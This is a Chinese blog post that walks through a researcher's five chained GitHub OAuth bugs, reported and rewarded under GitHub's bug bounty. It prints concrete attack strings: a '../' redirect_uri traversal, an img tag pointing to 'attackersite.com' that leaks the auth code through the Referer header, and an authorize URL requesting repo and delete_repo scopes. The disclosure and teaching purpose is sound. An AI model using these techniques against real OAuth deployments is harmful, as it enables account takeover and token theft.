从“黑掉Github”学Web安全开发

标签: 杂项资源 Gist github OAuth Web | 发表时间:2014-02-10 00:16 | 作者:陈皓
出处:http://coolshell.cn

Egor Homakov(Twitter:  @homakov 个人网站:  EgorHomakov.com)是一个Web安全的布道士,他这两天把github给黑了,并给github报了5个安全方面的bug,他在他的这篇blog——《 How I hacked Github again》(墙)说明了这5个安全bug以及他把github黑掉的思路。Egor的这篇文章讲得比较简单,很多地方一笔带过,所以, 我在这里用我的语言给大家阐述一下黑掉Github的思路以及原文中所提到的那5个bug。希望这篇文章能让从事Web开发的同学们警惕。关于Web开发中的安全事项,大家可以看看这篇文章《 Web开发中的你需要了解的东西

OAuth简介

首先,这个故事要从 Github OAuth讲起。所以,我们需要先知道什么是 OAuth。所谓OAuth就是说,第三方的应用可以通过你的授权而不用知道你的帐号密码能够访问你在某网站的你自己的数据或功能。像Google, Facebook, Twitter等网站都提供了OAuth服务,提供OAuth服务的网站一般都有很多开放的API,第三方应用会调用这些API来开发他们的应用以让用户拥有更多的功能,但是,当用户在使用这些第三方应用的时候,这些第三方的应用会来访问用户的帐户内的功能和数据,所以,当第三应用要干这些事的时候,我们不能让第三方应用弹出一个对话框来问用户要他的帐号密码,不然第三方的应用就把用户的密码给获取了,所以,OAuth协议会跳转到一个页面,让用户授权给这个第三方应用以某些权限,然后,这个权限授权的记录保存在Google/Facebook/Twitter上,并向第三方应用返回一个授权token,于是第三方的应用通过这个token来操作某用户帐号的功能和数据时,就畅通无阻了。下图简单地说明了Twitter的OAuth的授权过程。

从上面的流程图中,我们可以看OAuth不管是1.0还是2.0版本都是一个比较复杂的协议,所以,在Server端要把OAuth实现对并不是一些容易事,其总是或多或少会有些小错误。Egor就找到了几个Github的OAuth的实现的问题。

OAuth的Callback

还需要注意的是,因为OAuth是需要跳到主站的网页上去让用户授权,当用户授权完后,需要跳转回原网页,所以,一般来说,OAuth授权页都会带一个 redirect_url的参数,用于指定跳转回原来的网页。Github使用的这个跳转参数是redirect_uri参数。一般来说,redirect_uri这个参数需要在服务器端进行验证。

你想一下,如果有人可以控制这个redirect_uri这个参数,那么,你有可以让你跳转到别的网页上。如果你觉得跳转到别的网页上也无所谓,那么你就错了。别忘了,当你对这个第三方的应用授权通过后,服务方会给第三方应用返回一个授权token,这个token会被加到那个redirect_uri参数后面然后跳转回去,如果这个redirect_uri被别有用心的人改一个恶意的网址后,这个token也就被还过去了,于是授权token也就被泄漏过去了。

知道了这一切,我们就可以理解Egor提的那5个bug是什么意思了。

第一个Bug — 没有检查重定向URL中的/../

首先,我们通过 Github的redirect_uri的说明文档我们可以看到这样的说明:

如果 CALLBACK URL是: http://example.com/path

GOOD: https://example.com/path
GOOD: http://example.com/path/subdir/other

BAD: http://example.com/bar
BAD: http://example.com/
BAD: http://example.com:8080/path
BAD: http://oauth.example.com:8080/path
BAD: http://example.org

而Github对于redirect_uri做了限制,要求只能跳回到 https://gist.github.com/auth/github/callback/,也就是说,域名是git.github.com,目录是/auth/github/callback/,服务器端做了这个限制,看似很安全了。

但是,Egor发现,Github的服务器端并没有验证.. /../..这样的情况。

于是,Egor相当于构造了一个下面这样的Redirect URL:

https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE

相当于:

https://gist.github.com/homakov/8820324?code=CODE

你可以看到,认证后的跳转网页转到了别的地方去——我们知道Github的gist虽然是给你分代码片段的,但是也可以用来定制自己的东西的(比如markdown),这个gist的网页当然是被我们的Egor控制的。

第二个BUG — 没有校验token

第一个bug其实并没有什么,如果服务器端要校验一下token是否和之前生成的token的redirect_uri一模一样,只要服务器做了这个验证,第一个bug完全没有什么用处,但是,github的服务端并没有验证。这就是第二个bug,于是第一个和第二个bug组合起来成了一个相当有威力的安全漏洞。

第三个BUG — 注入跨站图片

现在,redirect_uri带着code,安全地跳到了Egor构造的网页上:

https://gist.github.com/homakov/8820324?code=CODE

但是,这个是gist的网页,你无法在这个页面上运行前端(Javascript)或后端程序(Ruby——Github是Ruby做的),现在的问题是我们怎么得到那个code,因为那个code虽然后带到了我的网页上来,但那个网页还是github和用户自己的环境。

到这里,一般来说,黑客会在这个页面上放一个诸如下面的一个链接,来引诱用户点击,:

<a href=http://hack.you.com/>私人照片</a>

这样,当页面跳转到黑客的网站上来后,你之前的网页上的网址会被加在http头里的 Refere 参数里,这样,我就可以得到你的token了。

但是,在gist上放个链接还要用户去点一下,这个太影响“用户体验”了,最好能嵌入点外部的东西。gist上可以嵌入外站的图片,但是github并非等闲之辈,对于外站的图片,其统统会把这些图片的url代理成github自己的,所以,你很难搞定。

像程序员一样的思考

不过,我们可以用一个很诡异的技巧:

<img src=”///attackersite.com”>

这个是什么玩意?这个是个URL的相对路径。但是为什么会有三个///呢?呵呵。这个时候,我们需要以“程序员的编程思维”来思考问题——如果你是程序员,你会怎么写校验URL的程序?你一定会想到使用正则表达式。于是,

  • 对于绝对路径:你会匹配两个//,后面的可能会是 user@host.com(user@是可选的),然后可能会有:<n>端口号,然后是/,后面是服务器的路径,再往后面应该是?后面带一些参数了。
  • 对于相对路径:就没有绝对路径那么复杂了。就是些 .. 和 /再加上?和一些参数。

好了,如果coolshell.cn网页中的相对路径是 /host.com,那么浏览器会解释成:http://coolshell.cn/host.com,如果是///host.com,那么就应该被浏览器解释成 http://coolshell.cn///host.com。

但是,Chrome和Firefox,会把///host.com当成绝对路径,因为其正确匹配了绝对路径的scheme。如果你正在用Chrome/Firefox看这篇文章 ,你可以看看下面的连接(源码如下):

CoolShell Test

<a href="///www.google.com">CoolShell Test</a>

关键是,这个Chrome/Firefox的问题被标记成了Won’t Fix,我勒个去,基本上来说,后面的程序也有可能有这样的问题,对于Perl,Python,Ruby,Node.js,PHP带的URL检查的函数库都有这样的问题。

于是,我们就可以使用这样的方式给gist注入了一个第三方站点的图片(github的服务端没有察觉到,但是浏览器端把这个链接解释到了第三方的站点上),于是请求这个图片的http头中的refere 中包含用户当前页面的URL,也包含了用户授权的code。

到这里,黑客已经拿到用户gist的权限并可以修改或查看用户私用的gist了。但是作者并没有满足,他想要的更多。

第四个bug – Gist把github_token放在了cookie里

于是Egor在用户的cookie里找到了 github_token

但是这个token没什么用,因为授权的Scope只有gists。但是这个token不应该放在用户端的cookie里,这个东西只能放在服务端。于是,Egor只能另谋出路。

第五个Bug – 自动给gist授权

因为gist是github自家的,所以估计github想做得简单一点,于是github对gist做了自动授权,于是,Egor搞了这样的一个URL(注意其中的 redirect_uri )

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub% 2Fcallback/../../../homakov/8820324&response_type=code& scope=repo,gists,user,delete_repo,notifications

于是,这个redirect-uri不但帮黑客拿到了访问gist的token,而且还把授权的scope扩大到了用户的代码库等其它权限。于是你就可以黑入用户的私有代码区了。

 其它 & 感想

于是,作者从  Github Security Bug Bounty 拿到了USD $4,000的奖励!Egor一共花了从下午2点到6点一共4个小时找到了这些Bug,平均一小时1000美刀。Egor还很得瑟的说,如果Github请他做安全顾问,他只收一小时USD $400刀,这4个小时也就$1,600。呵呵。

大家看看,这是多么有效率的赚钱方式。看看,让我们扪心自问一下,我们花了多少时间在玩那些“红包游戏”,而又搞到了多少红包?人家4个小时找了5个bug,挣了$4000美金。老天给了你我一样的时间,我们用来抽几块钱的红包,人家用自己的技能来挣奖金。这就是人和人的差距。这就是所谓的效率——你可以移步看看我写的《 加班与效率

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell.cn ,请勿用于任何商业用途)

——=== 访问 酷壳404页面 寻找遗失儿童。 ===——

相关文章

相关 [github web 开发] 推荐:

从“黑掉Github”学Web安全开发

- - 酷 壳 - CoolShell.cn
Egor Homakov(Twitter:  @homakov 个人网站:  EgorHomakov.com)是一个Web安全的布道士,他这两天把github给黑了,并给github报了5个安全方面的bug,他在他的这篇blog——《 How I hacked Github again》(墙)说明了这5个安全bug以及他把github黑掉的思路.

代码托管网站Github收购基于Web的页面设计工具Easel

- - 36氪 | 关注互联网创业
代码托管网站 Github已收购基于Web的页面设计工具 Easel. 作为一个已从YC顺利毕业的创业公司, Easel可以帮助不会代码和用户界面设计的创业者,快速把自己的创意制作成产品原型页面. 除此之外,Easel还支持多人同时在线编辑. 虽然与与强大的桌面设计软件相比功能并不完善,但 Easel 提供的工具却也能够帮用户设计出适合桌面、移动或平板浏览的基本站点.

Linux 3.1 RC5版发布,内核开发暂时转移到GitHub

- Tairan Wang - ITeye资讯频道
Linus Torvalds已经发布了Linux 3.1的第5个候选版本,但是该版本没有出现在Linux Kernel官网中,Torvalds已经将Linux内核的主线版本源码转移到了GitHub中. Linux Kernel官网页面. 这源起上个月发生的黑客事件,上周四,kernel.org发布了一则公告,公告称Linux内核源码在8月份早些时候被黑客入侵了,但在8月28日才发现该情况,不过官方称源码本身没有受到影响.

Web开发入门(转载)

- linchanx - Starming星光社最新更新
Web应用的竞争异常激烈,开发难度也是入门容易做好很难,所以第一次开发的应用不成功是很正常的事情. 不过这正是一个积累的过程,反正你需要的只是电脑和少量服务器经费,所以多磨练几次,水平自然会提高. 2, 习惯阅读及查阅英文资料. 前沿信息基本源自美国,翻译的东西不及时,不全,很多水平不高,再加之中文原创资料毕竟很有限,因此是否能熟练地查阅英文资料决定了你获取信息的 及时性和质量.

web开发利器之grunt

- - CSDN博客Web前端推荐文章
grunt不难,它主要依赖的是nodeJS的npm包管理器,和一个JSON及一个JS文件,先说说npm包管理器,玩过nodeJS的对它应该都很熟悉,在这里我们只需要安装nodeJS即可(新版的nodeJS基本都集成了npm),至于nodeJS的安装可以 点这里,这这篇文章就不做详细介绍,安装完后打开命令管理器(nodeJS安装完后的终端)输入:.

Spring MVC 与 web开发

- - 码蜂笔记
项目组用了 Spring MVC 进行开发,觉得对里面的使用方式不是很满意,就想,如果是我来搭建开发环境,我会怎么做. 下面就是我的想法,只关注于 MVC 的 View 层. 现在基本上都是用 ajax 来调用后台接口,拿到 json格式的数据再展示,有的人直接返回数据,却没有考虑异常的情况,我觉得返回的报文里必须包含表示可能的异常信息的数据和业务响应数据.

Web开发者必备:Web应用检查清单

- - ITeye博客
想做一个高质量的Web应用,前前后后要做的事情非常多. 国外开发者 Ata Sasmaz 为 Web 开发者制作分享了一份检查清单,包括应用开发、性能、安全、分析、可用性、可靠性、转换策略、竞争策略这些方面需要注意的事项. 清单内容可能不全面,欢迎大家在评论中补充. JavaScript 允许捕获异常.

Web应用程序的开发步骤

- xxg - 月光博客
  如今已进入了web2.0高速发展的互联网时代,各种互联网的Web应用程序如雨后春笋般出现. 那么作为一名Web开发人员,怎样去开发一款优秀的Web应用程序呢. 这个问题没有一个简单的答案,甚至那些教育机构都未必能清楚的知道. 所以,像大多数在这个领域里的web开发人员一样,我们只是通过去做,去实验才学会了这些.

Web开发人员速查卡

- abcd - 酷壳 - CoolShell.cn
无论你是多牛的程序员,你都无法记住所有的东西. 而很多时候,查找某些知识又比较费事. 所以,网上有很多Cheat Sheets,翻译成小抄也好 ,速查卡也好,总之就是帮你节省 时间的. 之前给大家介绍过Web设计的速查卡、25个jQuery的编程小抄,还有程序员小抄大全,今天转一篇开发人员的速查卡,源文在这里.

平台是Web开发的未来吗?

- iyuan - 伯乐在线 -博客
  导读:本文是Arjun Khanna关于平台的出现以及它们如何简化Web开发的个人分析,也分析了平台的缺点和它们能够继续存在的因素.   即便现在大部分网站开发人员所构建的网站在结构上非常相似,或是至少在布局方面会有一些根本的共同之处,如果你问一下,他们大多会说他们还有一大堆的苦差使要头疼呢. 虽然客户几乎都要求顶上有横幅,导航条在左边,页面布局不超过三列,但是这并不使他们的工作更简单.